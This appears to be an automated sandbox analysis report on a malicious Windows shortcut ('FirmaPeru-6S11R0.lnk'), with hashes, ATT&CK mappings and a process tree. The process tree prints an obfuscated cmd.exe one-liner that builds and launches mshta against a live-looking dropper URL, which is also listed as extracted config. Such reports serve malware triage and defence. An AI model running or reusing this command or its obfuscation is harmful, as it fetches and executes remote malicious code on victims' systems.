f62a9de336c37ec665768f8f9bd1656ecb6aa82712fe53a49701c82c02a233ea

Analysis

max time kernel
40s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 19:48

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General

Target
FirmaPeru-6S11R0.lnk
Size 2KB
Sample260803-yjajeaap3x
SHA256 f62a9de336c37ec665768f8f9bd1656ecb6aa82712fe53a49701c82c02a233ea
MD5 323611c8301f303e2c73c751daffd1d6
SHA1 593d078102111a942b5f87bd29e7608932124f1a
SHA512 d40163fa0074e03994aa05a23d968453d53f4eb4668c1c0ea186e2c98cf8db1d97f5300ed637f739cad8a81e348c45e01820ac87dbb3301cbd55e5f5366ed665
TLSH
T1F041D48429EA41D8F2BA9E36D8FDA341496BF8116CB2D68D0D90D28D4426B01FD37F66
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1372	cmd.exe
5848	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 5848	1372	cmd.exe	90
PID 5848 wrote to memory of 52	5848	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-6S11R0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1372
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set QSN=cfgmgmpdksmrsthcfg&&set lzy=winzlkbdjxwmitdestwin&&set gc=winajqtziwdfnsxwin&&set fMc=cfgivrcfqcfg&&set UzwI=logczqqgvfceugdzgpbreethlog&&set yN=tmpfgrkvdtmp&&set sKIc=b1nmsdew&&set CH=cht8&&set Vi=na3x&&set rX=4unstw2j&&set TQff=1a3kx&&set FWuj=2rtpy&&set tXJ=dbgzmdbeytmfuzrszoqpkdbg&&set WJ=h@t@tp@s@://@m-firma.@la@t/@h@/est@agi@o1.@ph@p@?@r=@261@A@6@CF54682&&start /b !sKIc:~3,2!!CH:~1,2!!Vi:~1,1! !WJ:@=!&&set xLP=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5848
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:52

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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